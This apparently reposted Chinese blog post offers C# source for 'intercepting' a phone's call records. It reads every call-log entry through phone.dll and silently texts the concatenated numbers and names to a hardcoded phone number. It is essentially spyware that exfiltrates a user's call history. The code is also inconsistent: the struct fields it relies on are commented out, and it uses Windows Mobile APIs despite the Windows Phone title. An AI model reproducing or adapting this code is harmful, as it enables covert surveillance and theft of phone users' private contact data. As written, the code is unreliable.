• 实现诺基亚 lumia Windows phone 的手机通话记录截取




    废话少说,看看代码




    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Runtime.InteropServices;
    using Microsoft.WindowsMobile.PocketOutlook;
    
    namespace ReturnCall
    {
    
        class Program
        {
            [StructLayout(LayoutKind.Sequential)]
            public struct CALLLOGENTRY
            {
                /*
                public UInt32 cbSize;
                public UInt64 ftStartTime;
                public UInt64 ftEndTime;
                public short iom;
    
                public bool fOutgoing;
                public bool fConnected;
                public bool fEnded;
    
                public bool fRoam;
                public short cidt;
                public IntPtr pszNumber;
                public IntPtr pszName;
                public IntPtr pszNameType;
                public IntPtr pszNote;
                 */
            };
            [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
            private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
    
    
    
            [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
            private static extern int PhoneCloseCallLog(IntPtr pHandle);
    
    
    
            [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
            private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
    
    
            static void Main(string[] args)
            {
                {
                    string CallInfo = "";
    
                    try
                    {
                        IntPtr handle = IntPtr.Zero;
    
                        CALLLOGENTRY entry = new CALLLOGENTRY();
                        PhoneOpenCallLog(ref handle);
                        entry.cbSize = (uint)Marshal.SizeOf(entry);
    
                        if (handle != IntPtr.Zero)
                        {
                            while (PhoneGetCallLogEntry(handle, ref entry) == 0)
                            {
    
                                string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
                                string name = Marshal.PtrToStringUni(entry.pszName);
    
                                if (phoneNumber == null)
                                {
                                    phoneNumber = string.Empty;
                                }
    
                                if (name == null)
                                {
                                    name = string.Empty;
                                }
    
                                string temp = (phoneNumber.Trim() + name.Trim());
                                CallInfo = CallInfo + temp;
                            }
                            PhoneCloseCallLog(handle);
                            Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
                            sms.Send();
                        }
                        else
                        {
    
                            int error = Marshal.GetLastWin32Error();
                        }
                    }
                    catch (Exception ep)
                    {
                    }
                    finally
                    {
                    }
                }
    
            }
        }
    }
    






  • 相关阅读:
    腾讯// 反转字符串
    腾讯//Multiply Strings 字符串相乘
    腾讯//盛最多水的容器
    腾讯//删除排序数组中的重复项
    腾讯//删除排序数组中的重复项
    C语言中的预处理命令
    Python十大应用领域与就业方向
    Python的主要应用领域及应用场景
    Git命令_git status
    Git命令_git add快速添加文件到暂存区
  • 原文地址:https://www.cnblogs.com/new0801/p/6177733.html
Copyright © 2020-2023  润新知